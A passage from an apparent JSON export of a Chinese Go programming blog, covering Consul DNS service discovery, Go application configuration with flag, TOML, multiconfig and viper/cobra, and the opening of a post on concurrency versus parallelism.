healthHandler)\nhttp.ListenAndServe(\u0026quot;:10000\u0026quot;, nil)\n}\n一旦n2、n3上的web3服务实例启动，我们就可以尝试发现这些服务了。\nConsul提供了两种发现服务的方式，一种是通过HTTP API查看存在哪些服务；另外一种是通过consul agent内置的DNS服务来做。两者的差别在于后者可以根据服务check的实时状态动态调整available服务节点列表。我们这里也着重说明适用 DNS方式进行服务发现的具体步骤。\n在配置和部署完web3服务后，我们就可以通过DNS命令来查询服务的具体信息了。consul为服务编排的内置域名为 “NAME.service.consul\u0026quot;，这样我们的web3的域名为:web3.service.consul。我们在n1通过dig工具来查看一 下，注意是在n1上，n1上并未定义和部署web3服务，但集群中服务的信息已经被同步到n1上了，信息是一致的：\n$ dig @127.0.0.1 -p 8600 web3.service.consul SRV\n; \u0026laquo;\u0026raquo; DiG 9.9.5-3-Ubuntu \u0026laquo;\u0026raquo; @127.0.0.1 -p 8600 web3.service.consul SRV\n; (1 server found)\n;; global options: +cmd\n;; Got answer:\n;; -\u0026raquo;HEADER\u0026laquo;- opcode: QUERY, status: NOERROR, id: 6713\n;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 2\n;; WARNING: recursion requested but not available\n;; QUESTION SECTION:\n;web3.service.consul. IN SRV\n;; ANSWER SECTION:\nweb3.service.consul. 0 IN SRV 1 1 10000 n2.node.dc1.consul.\nweb3.service.consul. 0 IN SRV 1 1 10000 n3.node.dc1.consul.\n;; ADDITIONAL SECTION:\nn2.node.dc1.consul. 0 IN A 127.0.0.1\nn3.node.dc1.consul. 0 IN A 127.0.0.1\n;; Query time: 2 msec\n;; SERVER: 127.0.0.1#8600(127.0.0.1)\n;; WHEN: Mon Jul 06 12:12:53 CST 2015\n;; MSG SIZE rcvd: 219\n可以看到在ANSWER SECTION中，我们得到了两个结果：n2和n3上各有一个web3的服务。在dig命令中我们用了SRV标志，那是因为我们需要的服务信息不仅有ip地址，还需要有端口号。\n现在我们停掉n2上的web3服务，10s后，我们再来查一下：\n$ dig @127.0.0.1 -p 8600 web3.service.consul SRV\n; \u0026laquo;\u0026raquo; DiG 9.9.5-3-Ubuntu \u0026laquo;\u0026raquo; @127.0.0.1 -p 8600 web3.service.consul SRV\n; (1 server found)\n;; global options: +cmd\n;; Got answer:\n;; -\u0026raquo;HEADER\u0026laquo;- opcode: QUERY, status: NOERROR, id: 25136\n;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1\n;; WARNING: recursion requested but not available\n;; QUESTION SECTION:\n;web3.service.consul. IN SRV\n;; ANSWER SECTION:\nweb3.service.consul. 0 IN SRV 1 1 10000 n3.node.dc1.consul.\n;; ADDITIONAL SECTION:\nn3.node.dc1.consul. 0 IN A 127.0.0.1\n;; Query time: 3 msec\n;; SERVER: 127.0.0.1#8600(127.0.0.1)\n;; WHEN: Mon Jul 06 12:16:39 CST 2015\n;; MSG SIZE rcvd: 128\n结果显示，只有n3上这一个web3服务可用了。通过下面Consul Agent日志：\ndns: node \u0026rsquo;n2\u0026rsquo; failing health check \u0026lsquo;service web3\u0026rsquo; check\u0026rsquo;, dropping from service \u0026lsquo;web3\u0026rsquo;\n我们可以看到consul agent将health check失败的web3从结果列表中剔除了，这样web3服务的客户端在服务发现过程中就只能获取到当前可用的web3服务节点了，这个好处是在实际应 用中大大降低了客户端实现”服务发现“时的难度。另外consul agent DNS在返回查询结果时也支持DNS Server常见的策略，至少是支持轮询。你可以多次执行dig命令，可以看到n2和n3的排列顺序是不同的。还有一点值得注意的是：由于考虑DNS cache对consul agent查询结果的影响，默认情况下所有由consul agent返回的结果TTL值均设为0，也就是说不支持dns结果缓存。\n接下来，我们使用golang实现一个demo级别的服务发现的客户端，这里会用到第三方dns client库\u0026quot;github.com/miekg/dns\u0026quot;。\n// servicediscovery.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;log\u0026rdquo;\n\u0026ldquo;github.com/miekg/dns\u0026rdquo;\n)\nconst (\nsrvName = \u0026ldquo;web3.service.consul\u0026rdquo;\nagentAddr = \u0026ldquo;127.0.0.1:8600\u0026rdquo;\n)\nfunc main() {\nc := new(dns.Client)\nm := new(dns.Msg)\nm.SetQuestion(dns.Fqdn(srvName), dns.TypeSRV)\nm.RecursionDesired = true\nr, _, err := c.Exchange(m, agentAddr)\nif r == nil {\nlog.Fatalf(\u0026ldquo;dns query error: %s\\n\u0026rdquo;, err.Error())\n}\nif r.Rcode != dns.RcodeSuccess {\nlog.Fatalf(\u0026ldquo;dns query error: %v\\n\u0026rdquo;, r.Rcode)\n}\nfor _, a := range r.Answer {\nb, ok := a.(*dns.SRV)\nif ok {\nm.SetQuestion(dns.Fqdn(b.Target), dns.TypeA)\nr1, _, err := c.Exchange(m, agentAddr)\nif r1 == nil {\nlog.Fatalf(\u0026ldquo;dns query error: %v, %v\\n\u0026rdquo;, r1.Rcode, err)\n}\nfor _, a1 := range r1.Answer {\nc, ok := a1.(*dns.A)\nif ok {\nfmt.Printf(\u0026quot;%s – %s:%d\\n\u0026quot;, b.Target, c.A, b.Port)\n}\n}\n}\n}\n}\n我们执行该程序：\n$ go run servicediscovery.go\nn2.node.dc1.consul. – 10.10.126.101:10000\nn3.node.dc1.consul. – 10.10.126.187:10000\n注意各个node上的服务check是由其node上的agent上进行的，一旦那个node上的agent出现问题，则位于那个node上的所有 service也将会被置为unavailable状态。比如我们停掉n3上的agent，那么我们在进行web3服务节点查询时，就只能获取到n2这一 个节点上有可用的web3服务了。\n在真实的程序中，我们可以像上面demo中那样，每Request都做一次DNS查询，不过这样的代价也很高。稍复杂些，我们可以结合dns结果本地缓存+定期查询+每遇到Failed查询的方式来综合考量服务的发现方法或利用Consul提供的watch命令等。\n以上仅仅是Consul的一个入门。真实场景中，理想的方案需要考虑的事情还有很多。Consul自身目前演进到0.5.2版本，还有不完善之处，但它已 经被很多公司用于production环境。Consul不是孤立的，要充分发挥出Consul的优势，在真实方案中，我们还要考虑与 Docker，HAProxy，Mesos等工具的结合。\n","permalink":"https://tonybai.com/2015/07/06/implement-distributed-services-registery-and-discovery-by-consul/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/hashicorp/consul\"\u003eConsul\u003c/a\u003e是\u003ca href=\"https://www.hashicorp.com/\"\u003eHashiCorp\u003c/a\u003e公司推出的开源工具，用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案，比如 \u003ca href=\"https://www.airbnb.com/\"\u003eAirbnb\u003c/a\u003e的\u003ca href=\"http://nerds.airbnb.com%20/smartstack-service-discovery-cloud/\"\u003eSmartStack\u003c/a\u003e等相比，Consul的方案更“一站式”，内置了服务注册与发现框 架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案，不再需要依赖其他工具（比如\u003ca href=\"http://tonybai.com/tag/zookeeper\"\u003eZooKeeper\u003c/a\u003e等）。使用起来也较 为简单。Consul用\u003ca href=\"http://tonybai.com/tag/go\"\u003eGolang\u003c/a\u003e实现，因此具有天然可移植性(支持Linux、windows和Mac OS X)；安装包仅包含一个可执行文件，方便部署，与\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e等轻量级容器可\u003cstrong\u003e无缝配合\u003c/strong\u003e。\u003c/p\u003e","title":"使用consul实现分布式服务注册和发现"},{"content":"在Twitter上看到一篇关于Golang程序配置方案总结的系列文章（一个mini series，共6篇），原文链接：在这里。我觉得不错，这里粗略整理（非全文翻译）一下，供大家参考。\n一、背景\n无论使用任何编程语言开发应用，都离不开配置数据。配置数据提供的形式有多样，不外乎命令行选项(options)、参数（parameters)，环境 变量（env vars)以及配置文件等。Golang也不例外。Golang内置flag标准库，可以用来支持部分命令行选项和参数的解析；Golang通过os包提 供的方法可以获取当前环境变量；但Golang没有规定标准配置文件格式(虽说内置支持xml、json)，多通过第三方 包来解决配置文件读取的问题。Golang配置相关的第三方包邮很多，作者在本文中给出的配置方案中就包含了主流的第三方配置数据操作包。\n文章作者认为一个良好的应用配置层次应该是这样的：\n1、程序内内置配置项的初始默认值\n2、配置文件中的配置项值可以覆盖(override)程序内配置项的默认值。\n3、命令行选项和参数值具有最高优先级，可以override前两层的配置项值。\n下面就按作者的思路循序渐进探讨golang程序配置方案。\n二、解析命令行选项和参数\n这一节关注golang程序如何访问命令行选项和参数。\ngolang对访问到命令行参数提供了内建的支持：\n//cmdlineargs.go\npackage main\nimport (\n// \u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;os\u0026rdquo;\n\u0026ldquo;path/filepath\u0026rdquo;\n)\nfunc main() {\nprintln(\u0026ldquo;I am \u0026ldquo;, os.Args[0])\nbaseName := filepath.Base(os.Args[0])\nprintln(\u0026ldquo;The base name is \u0026ldquo;, baseName)\n// The length of array a can be discovered using the built-in function len\nprintln(\u0026ldquo;Argument # is \u0026ldquo;, len(os.Args))\n// the first command line arguments\nif len(os.Args) \u0026gt; 1 {\nprintln(\u0026ldquo;The first command line argument: \u0026ldquo;, os.Args[1])\n}\n}\n执行结果如下：\n$go build cmdlineargs.go\n$cmdlineargs test one\nI am cmdlineargs\nThe base name is cmdlineargs\nArgument # is 3\nThe first command line argument: test\n对于命令行结构复杂一些的程序，我们最起码要用到golang标准库内置的flag包：\n//cmdlineflag.go\npackage main\nimport (\n\u0026ldquo;flag\u0026rdquo;\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;os\u0026rdquo;\n\u0026ldquo;strconv\u0026rdquo;\n)\nvar (\n// main operation modes\nwrite = flag.Bool(\u0026ldquo;w\u0026rdquo;, false, \u0026ldquo;write result back instead of stdout\\n\\t\\tDefault: No write back\u0026rdquo;)\n// layout control\ntabWidth = flag.Int(\u0026ldquo;tabwidth\u0026rdquo;, 8, \u0026ldquo;tab width\\n\\t\\tDefault: Standard\u0026rdquo;)\n// debugging\ncpuprofile = flag.String(\u0026ldquo;cpuprofile\u0026rdquo;, \u0026ldquo;\u0026rdquo;, \u0026ldquo;write cpu profile to this file\\n\\t\\tDefault: no default\u0026rdquo;)\n)\nfunc usage() {\n// Fprintf allows us to print to a specifed file handle or stream\nfmt.Fprintf(os.Stderr, \u0026ldquo;\\nUsage: %s [flags] file [path \u0026hellip;]\\n\\n\u0026rdquo;,\n\u0026ldquo;CommandLineFlag\u0026rdquo;) // os.Args[0]\nflag.PrintDefaults()\nos.Exit(0)\n}\nfunc main() {\nfmt.Printf(\u0026ldquo;Before parsing the flags\\n\u0026rdquo;)\nfmt.Printf(\u0026ldquo;T: %d\\nW: %s\\nC: \u0026lsquo;%s\u0026rsquo;\\n\u0026rdquo;,\n*tabWidth, strconv.FormatBool(*write), *cpuprofile)\nflag.Usage = usage\nflag.Parse()\n// There is also a mandatory non-flag arguments\nif len(flag.Args()) \u0026lt; 1 {\nusage()\n}\nfmt.Printf(\u0026ldquo;Testing the flag package\\n\u0026rdquo;)\nfmt.Printf(\u0026ldquo;T: %d\\nW: %s\\nC: \u0026lsquo;%s\u0026rsquo;\\n\u0026rdquo;,\n*tabWidth, strconv.FormatBool(*write), *cpuprofile)\nfor index, element := range flag.Args() {\nfmt.Printf(\u0026ldquo;I: %d C: \u0026lsquo;%s\u0026rsquo;\\n\u0026rdquo;, index, element)\n}\n}\n这个例子中：\n- 说明了三种类型标志的用法：Int、String和Bool。\n- 说明了每个标志的定义都由类型、命令行选项文本、默认值以及含义解释组成。\n- 最后说明了如何处理标志选项(flag option)以及非option参数。\n不带参数运行：\n$cmdlineflag\nBefore parsing the flags\nT: 8\nW: false\nC: '\u0026rsquo;\nUsage: CommandLineFlag [flags] file [path \u0026hellip;]\n-cpuprofile=\u0026rdquo;\u0026rdquo;: write cpu profile to this file\nDefault: no default\n-tabwidth=8: tab width\nDefault: Standard\n-w=false: write result back instead of stdout\nDefault: No write back\n带命令行标志以及参数运行(一个没有flag，一个有两个flag)：\n$cmdlineflag aa bb\nBefore parsing the flags\nT: 8\nW: false\nC: \u0026rsquo;\u0026rsquo;\nTesting the flag package\nT: 8\nW: false\nC: \u0026rsquo;\u0026rsquo;\nI: 0 C: \u0026lsquo;aa\u0026rsquo;\nI: 1 C: \u0026lsquo;bb\u0026rsquo;\n$cmdlineflag -tabwidth=2 -w aa\nBefore parsing the flags\nT: 8\nW: false\nC: \u0026rsquo;\u0026rsquo;\nTesting the flag package\nT: 2\nW: true\nC: \u0026rsquo;\u0026rsquo;\nI: 0 C: \u0026lsquo;aa\u0026rsquo;\n从例子可以看出，简单情形下，你无需编写自己的命令行parser或使用第三方包，使用go内建的flag包即可以很好的完成工作。但是golang的 flag包与命令行Parser的事实标准：Posix getopt（C/C++/Perl/Shell脚本都可用）相比，还有较大差距，主要体现在：\n1、无法支持区分long option和short option，比如：-h和–help。\n2、不支持short options合并，比如：ls -l -h \u0026lt;=\u0026gt; ls -hl\n3、命令行标志的位置不能任意放置，比如无法放在non-flag parameter的后面。\n不过毕竟flag是golang内置标准库包，你无须付出任何cost，就能使用它的功能。另外支持bool型的flag也是其一大亮点。\n三、TOML，Go配置文件的事实标准（这个可能不能得到认同）\n命令行虽然是一种可选的配置方案，但更多的时候，我们使用配置文件来存储静态的配置数据。就像Java配xml，ruby配yaml，windows配 ini，Go也有自己的搭配组合，那就是TOML（Tom\u0026rsquo;s Obvious, Minimal Language）。\n初看toml语法有些类似windows ini，但细致研究你会发现它远比ini强大的多，下面是一个toml配置文件例子：\n# This is a TOML document. Boom.\ntitle = \u0026ldquo;TOML Example\u0026rdquo;\n[owner]\nname = \u0026ldquo;Lance Uppercut\u0026rdquo;\ndob = 1979-05-27T07:32:00-08:00 # First class dates? Why not?\n[database]\nserver = \u0026ldquo;192.168.1.1\u0026rdquo;\nports = [ 8001, 8001, 8002 ]\nconnection_max = 5000\nenabled = true\n[servers]\nYou can indent as you please. Tabs or spaces. TOML don\u0026rsquo;t care. [servers.alpha]\nip = \u0026ldquo;10.0.0.1\u0026rdquo;\ndc = \u0026ldquo;eqdc10\u0026rdquo;\n[servers.beta]\nip = \u0026ldquo;10.0.0.2\u0026rdquo;\ndc = \u0026ldquo;eqdc10\u0026rdquo;\n[clients]\ndata = [ [\u0026ldquo;gamma\u0026rdquo;, \u0026ldquo;delta\u0026rdquo;], [1, 2] ]\n# Line breaks are OK when inside arrays\nhosts = [\n\u0026ldquo;alpha\u0026rdquo;,\n\u0026ldquo;omega\u0026rdquo;\n]\n看起来很强大，也很复杂，但解析起来却很简单。以下面这个toml 文件为例：\nAge = 25\nCats = [ \u0026ldquo;Cauchy\u0026rdquo;, \u0026ldquo;Plato\u0026rdquo; ]\nPi = 3.14\nPerfection = [ 6, 28, 496, 8128 ]\nDOB = 1987-07-05T05:45:00Z\n和所有其他配置文件parser类似，这个配置文件中的数据可以被直接解析成一个golang struct：\ntype Config struct {\nAge int\nCats []string\nPi float64\nPerfection []int\nDOB time.Time // requires `import time`\n}\n其解析的步骤也很简单：\nvar conf Config\nif _, err := toml.Decode(tomlData, \u0026amp;conf); err != nil {\n// handle error\n}\n是不是简单的不能简单了！\n不过toml也有其不足之处。想想如果你需要使用命令行选项的参数值来覆盖这些配置文件中的选项，你应该怎么做？事实上，我们常常会碰到类似下面这种三层配置结构的情况：\n1、程序内内置配置项的初始默认值\n2、配置文件中的配置项值可以覆盖(override)程序内配置项的默认值。\n3、命令行选项和参数值具有最高优先级，可以override前两层的配置项值。\n在go中，toml映射的结果体字段没有初始值。而且go内建flag包也没有将命令行参数值解析为一个go结构体，而是零散的变量。这些可以通过第三方工具来解决，但如果你不想用第三方工具，你也可以像下面这样自己解决，虽然难看一些。\nfunc ConfigGet() *Config {\nvar err error\nvar cf *Config = NewConfig()\n// set default values defined in the program\ncf.ConfigFromFlag()\n//log.Printf(\u0026ldquo;P: %d, B: \u0026lsquo;%s\u0026rsquo;, F: \u0026lsquo;%s\u0026rsquo;\\n\u0026rdquo;, cf.MaxProcs, cf.Webapp.Path)\n// Load config file, from flag or env (if specified)\n_, err = cf.ConfigFromFile(*configFile, os.Getenv(\u0026ldquo;APPCONFIG\u0026rdquo;))\nif err != nil {\nlog.Fatal(err)\n}\n//log.Printf(\u0026ldquo;P: %d, B: \u0026lsquo;%s\u0026rsquo;, F: \u0026lsquo;%s\u0026rsquo;\\n\u0026rdquo;, cf.MaxProcs, cf.Webapp.Path)\n// Override values from command line flags\ncf.ConfigToFlag()\nflag.Usage = usage\nflag.Parse()\ncf.ConfigFromFlag()\n//log.Printf(\u0026ldquo;P: %d, B: \u0026lsquo;%s\u0026rsquo;, F: \u0026lsquo;%s\u0026rsquo;\\n\u0026rdquo;, cf.MaxProcs, cf.Webapp.Path)\ncf.ConfigApply()\nreturn cf\n}\n就像上面代码中那样，你需要：\n1、用命令行标志默认值设置配置(cf)默认值。\n2、接下来加载配置文件\n3、用配置值(cf)覆盖命令行标志变量值\n4、解析命令行参数\n5、用命令行标志变量值覆盖配置(cf)值。\n少一步你都无法实现三层配置能力。\n四、超越TOML\n本节将关注如何克服TOML的各种局限。\n为了达成这个目标，很多人会说：使用viper，不过在介绍viper这一重量级选手 之前，我要为大家介绍另外一位不那么知名的选手：multiconfig。\n有些人总是认为大的就是好的，但我相信适合的还是更好的。因为：\n1、viper太重量级，使用viper时你需要pull另外20个viper依赖的第三方包\n2、事实上，viper单独使用还不足以满足需求，要想得到viper全部功能，你还需要另外一个包配合，而后者又依赖13个外部包\n3、与viper相比，multiconfig使用起来更简单。\n好了，我们再来回顾一下我们现在面临的问题：\n1、在程序里定义默认配置，这样我们就无需再在toml中定义它们了。\n2、用toml配置文件中的数据override默认配置\n3、用命令行或环境变量的值override从toml中读取的配置。\n下面是一个说明如何使用multiconfig的例子：\nfunc main() {\nm := multiconfig.NewWithPath(\u0026ldquo;config.toml\u0026rdquo;) // supports TOML and JSON\n// Get an empty struct for your configuration\nserverConf := new(Server)\n// Populated the serverConf struct\nm.MustLoad(serverConf) // Check for error\nfmt.Println(\u0026ldquo;After Loading: \u0026ldquo;)\nfmt.Printf(\u0026rdquo;%+v\\n\u0026rdquo;, serverConf)\nif serverConf.Enabled {\nfmt.Println(\u0026ldquo;Enabled field is set to true\u0026rdquo;)\n} else {\nfmt.Println(\u0026ldquo;Enabled field is set to false\u0026rdquo;)\n}\n}\n这个例子中的toml文件如下：\nName = \u0026ldquo;koding\u0026rdquo;\nEnabled = false\nPort = 6066\nUsers = [\u0026ldquo;ankara\u0026rdquo;, \u0026ldquo;istanbul\u0026rdquo;]\n[Postgres]\nEnabled = true\nPort = 5432\nHosts = [\u0026ldquo;192.168.2.1\u0026rdquo;, \u0026ldquo;192.168.2.2\u0026rdquo;, \u0026ldquo;192.168.2.3\u0026rdquo;]\nAvailabilityRatio = 8.23\ntoml映射后的go结构如下：\ntype (\n// Server holds supported types by the multiconfig package\nServer struct {\nName string\nPort int `default:\u0026ldquo;6060\u0026rdquo;`\nEnabled bool\nUsers []string\nPostgres Postgres\n}\n// Postgres is here for embedded struct feature\nPostgres struct {\nEnabled bool\nPort int\nHosts []string\nDBName string\nAvailabilityRatio float64\n}\n)\nmulticonfig的使用是不是很简单，后续与viper对比后，你会同意我的观点的。\nmulticonfig支持默认值，也支持显式的字段赋值需求。\n支持toml、json、结构体标签（struct tags)以及环境变量。\n你可以自定义配置源（例如一个远程服务器），如果你想这么做的话。\n可高度扩展（通过loader接口），你可以创建你自己的loader。\n下面是例子的运行结果，首先是usage help：\n$cmdlinemulticonfig -help\nUsage of cmdlinemulticonfig:\n-enabled=false: Change value of Enabled.\n-name=koding: Change value of Name.\n-port=6066: Change value of Port.\n-postgres-availabilityratio=8.23: Change value of Postgres-AvailabilityRatio.\n-postgres-dbname=: Change value of Postgres-DBName.\n-postgres-enabled=true: Change value of Postgres-Enabled.\n-postgres-hosts=[192.168.2.1 192.168.2.2 192.168.2.3]: Change value of Postgres-Hosts.\n-postgres-port=5432: Change value of Postgres-Port.\n-users=[ankara istanbul]: Change value of Users.\nGenerated environment variables:\nSERVER_NAME\nSERVER_PORT\nSERVER_ENABLED\nSERVER_USERS\nSERVER_POSTGRES_ENABLED\nSERVER_POSTGRES_PORT\nSERVER_POSTGRES_HOSTS\nSERVER_POSTGRES_DBNAME\nSERVER_POSTGRES_AVAILABILITYRATIO\n$cmdlinemulticonfig\nAfter Loading:\n\u0026amp;{Name:koding Port:6066 Enabled:false Users:[ankara istanbul] Postgres:{Enabled:true Port:5432 Hosts:[192.168.2.1 192.168.2.2 192.168.2.3] DBName: AvailabilityRatio:8.23}}\nEnabled field is set to false\n检查一下输出结果吧，是不是每项都符合我们之前的预期呢！\n五、Viper\n我们的重量级选手viper(https://github.com/spf13/viper)该出场了！\n毫无疑问，viper非常强大。但如果你想用命令行参数覆盖预定义的配置项值，viper自己还不足以。要想让viper爆发，你需要另外一个包配合，它就是cobra（https://github.com/spf13/cobra）。\n不同于注重简化配置处理的multiconfig，viper让你拥有全面控制力。不幸的是，在得到这种控制力之前，你需要做一些体力活。\n我们再来回顾一下使用multiconfig处理配置的代码：\nfunc main() {\nm := multiconfig.NewWithPath(\u0026ldquo;config.toml\u0026rdquo;) // supports TOML and JSON\n// Get an empty struct for your configuration\nserverConf := new(Server)\n// Populated the serverConf struct\nm.MustLoad(serverConf) // Check for error\nfmt.Println(\u0026ldquo;After Loading: \u0026ldquo;)\nfmt.Printf(\u0026rdquo;%+v\\n\u0026rdquo;, serverConf)\nif serverConf.Enabled {\nfmt.Println(\u0026ldquo;Enabled field is set to true\u0026rdquo;)\n} else {\nfmt.Println(\u0026ldquo;Enabled field is set to false\u0026rdquo;)\n}\n}\n这就是使用multiconfig时你要做的所有事情。现在我们来看看使用viper和cobra如何来完成同样的事情：\nfunc init() {\nmainCmd.AddCommand(versionCmd)\nviper.SetEnvPrefix(\u0026ldquo;DISPATCH\u0026rdquo;)\nviper.AutomaticEnv()\n/*\nWhen AutomaticEnv called, Viper will check for an environment variable any\ntime a viper.Get request is made. It will apply the following rules. It\nwill check for a environment variable with a name matching the key\nuppercased and prefixed with the EnvPrefix if set.\n*/\nflags := mainCmd.Flags()\nflags.Bool(\u0026ldquo;debug\u0026rdquo;, false, \u0026ldquo;Turn on debugging.\u0026rdquo;)\nflags.String(\u0026ldquo;addr\u0026rdquo;, \u0026ldquo;localhost:5002\u0026rdquo;, \u0026ldquo;Address of the service\u0026rdquo;)\nflags.String(\u0026ldquo;smtp-addr\u0026rdquo;, \u0026ldquo;localhost:25\u0026rdquo;, \u0026ldquo;Address of the SMTP server\u0026rdquo;)\nflags.String(\u0026ldquo;smtp-user\u0026rdquo;, \u0026ldquo;\u0026rdquo;, \u0026ldquo;User to authenticate with the SMTP server\u0026rdquo;)\nflags.String(\u0026ldquo;smtp-password\u0026rdquo;, \u0026ldquo;\u0026rdquo;, \u0026ldquo;Password to authenticate with the SMTP server\u0026rdquo;)\nflags.String(\u0026ldquo;email-from\u0026rdquo;, \u0026ldquo;noreply@example.com\u0026rdquo;, \u0026ldquo;The from email address.\u0026rdquo;)\nviper.BindPFlag(\u0026ldquo;debug\u0026rdquo;, flags.Lookup(\u0026ldquo;debug\u0026rdquo;))\nviper.BindPFlag(\u0026ldquo;addr\u0026rdquo;, flags.Lookup(\u0026ldquo;addr\u0026rdquo;))\nviper.BindPFlag(\u0026ldquo;smtp_addr\u0026rdquo;, flags.Lookup(\u0026ldquo;smtp-addr\u0026rdquo;))\nviper.BindPFlag(\u0026ldquo;smtp_user\u0026rdquo;, flags.Lookup(\u0026ldquo;smtp-user\u0026rdquo;))\nviper.BindPFlag(\u0026ldquo;smtp_password\u0026rdquo;, flags.Lookup(\u0026ldquo;smtp-password\u0026rdquo;))\nviper.BindPFlag(\u0026ldquo;email_from\u0026rdquo;, flags.Lookup(\u0026ldquo;email-from\u0026rdquo;))\n// Viper supports reading from yaml, toml and/or json files. Viper can\n// search multiple paths. Paths will be searched in the order they are\n// provided. Searches stopped once Config File found.\nviper.SetConfigName(\u0026ldquo;CommandLineCV\u0026rdquo;) // name of config file (without extension)\nviper.AddConfigPath(\u0026quot;/tmp\u0026rdquo;) // path to look for the config file in\nviper.AddConfigPath(\u0026rdquo;.\u0026quot;) // more path to look for the config files\nerr := viper.ReadInConfig()\nif err != nil {\nprintln(\u0026ldquo;No config file found. Using built-in defaults.\u0026rdquo;)\n}\n}\n可以看出，你需要使用BindPFlag来让viper和cobra结合一起工作。但这还不算太糟。\ncobra的真正威力在于提供了subcommand能力。同时cobra还提供了与posix 全面兼容的命令行标志解析能力，包括长短标志、内嵌命令、为command定义你自己的help或usage等。\n下面是定义子命令的例子代码：\n// The main command describes the service and defaults to printing the\n// help message.\nvar mainCmd = \u0026amp;cobra.Command{\nUse: \u0026ldquo;dispatch\u0026rdquo;,\nShort: \u0026ldquo;Event dispatch service.\u0026rdquo;,\nLong: `HTTP service that consumes events and dispatches them to subscribers.`,\nRun: func(cmd *cobra.Command, args []string) {\nserve()\n},\n}\n// The version command prints this service.\nvar versionCmd = \u0026amp;cobra.Command{\nUse: \u0026ldquo;version\u0026rdquo;,\nShort: \u0026ldquo;Print the version.\u0026rdquo;,\nLong: \u0026ldquo;The version of the dispatch service.\u0026rdquo;,\nRun: func(cmd *cobra.Command, args []string) {\nfmt.Println(version)\n},\n}\n有了上面subcommand的定义，我们就可以得到如下的help信息了：\nUsage:\ndispatch [flags]\ndispatch [command]\nAvailable Commands:\nversion Print the version.\nhelp Help about any command\nFlags:\n–addr=\u0026ldquo;localhost:5002\u0026rdquo;: Address of the service\n–debug=false: Turn on debugging.\n–email-from=\u0026ldquo;noreply@example.com\u0026rdquo;: The from email address.\n-h, –help=false: help for dispatch\n–smtp-addr=\u0026ldquo;localhost:25\u0026rdquo;: Address of the SMTP server\n–smtp-password=\u0026rdquo;\u0026rdquo;: Password to authenticate with the SMTP server\n–smtp-user=\u0026rdquo;\u0026rdquo;: User to authenticate with the SMTP server\nUse \u0026ldquo;dispatch help [command]\u0026rdquo; for more information about a command.\n六、小结\n以上例子的完整源码在作者的github repository里可以找到。\n关于golang配置文件，我个人用到了toml这一层次，因为不需要太复杂的配置，不需要环境变量或命令行override默认值或配置文件数据。不过 从作者的例子中可以看到multiconfig、viper的确强大，后续在实现复杂的golang应用时会考虑真正应用。\n","permalink":"https://tonybai.com/2015/07/01/config-solutions-for-golang-app/","summary":"\u003cp\u003e在Twitter上看到一篇关于Golang程序配置方案总结的系列文章（一个mini series，共6篇），原文链接：在\u003ca href=\"https://sfxpt.wordpress.com/2015/06/16/providing-%20options-for-go-applications/\"\u003e这里\u003c/a\u003e。我觉得不错，这里粗略整理（非全文翻译）一下，供大家参考。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e一、背景\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e无论使用任何编程语言开发应用，都离不开配置数据。配置数据提供的形式有多样，不外乎命令行选项(options)、参数（parameters)，环境 变量（env vars)以及配置文件等。Golang也不例外。Golang内置flag标准库，可以用来支持部分命令行选项和参数的解析；Golang通过os包提 供的方法可以获取当前环境变量；但Golang没有规定标准配置文件格式(虽说内置支持xml、json)，多通过第三方 包来解决配置文件读取的问题。Golang配置相关的第三方包邮很多，作者在本文中给出的配置方案中就包含了主流的第三方配置数据操作包。\u003c/p\u003e","title":"Golang程序配置方案小结"},{"content":"在一般人的眼中，“并行”就是并行，即你干你的，我干我的，两个“并行”的执行过程可能是两条毫无瓜葛的平行线，也可能是有交叉，但瞬即分开的两条线。不 过在程序员的世界里，有关“并行”的概念却有两个单词：Concurrency和Parallelism，对应的比较主流的中文翻译为并发 (Concurrency)和并行(Parallelism)。\n之前一直使用C、Python进行Coding，对Concrrency和Parallelism的异同并不十分关心，也未求甚解。但switch to golang后，尤其是学习2012年Rob Pike的一个talk slide：“Concurrency is not Parallelism（译作：并发不是并行）\u0026ldquo;后，感觉之前对于“并行”的理解还未到火候。\ngolang的Author们对文档还是非常看重的。按照目前golang的age来说，其文档的充分性相对于其他语言已经是相对较好的了。golang 的 author们还时不时放出一些blog、talk和slide，以帮助大家编写出more idiomatic的golang程序。Rob Pike的“并发不是并行”就是golang官方站点上的一个talk slide（中文版在这里 ）。\nRob Pike是Golang大神，这里先列出他在talk中对于并发与并行的学术阐释和理解：\n【Concurrency并发】\nProgramming as the composition of independently executing processes. (Processes in the general sense, not Linux processes. Famously hard to define.)\n将相互独立的执行过程综合到一起的编程技术。(这里是指通常意义上的执行过程，而不是Linux进程。很难定义。)\nConcurrency is about dealing with lots of things at once.\n并发是指同时处理很多事情。\nConcurrency is about structure.\n并发关乎结构。\nConcurrency provides a way to structure a solution to solve a problem that may (but not necessarily) be parallelizable.\n并发提供了一种方式让我们能够设计一种方案将问题(非必须的)并行的解决。\nConcurrency is a way to structure a program by breaking it into pieces that can be executed independently.\n并发是一种将一个程序分解成小片段独立执行的程序设计方法。\n【Parallelism并行】\nProgramming as the simultaneous execution of (possibly related) computations.\n同时执行(通常是相关的)计算任务的编程技术。\nParallelism is about doing lots of things at once.\n并行是指同时能完成很多事情。\nParallelism is about execution.\n并行关乎执行。\n【小结】\nThey are Not the same, but related.\n它们不相同，但相关。\n怎么样？看上上面的论述是不是一头雾水啊。Rob 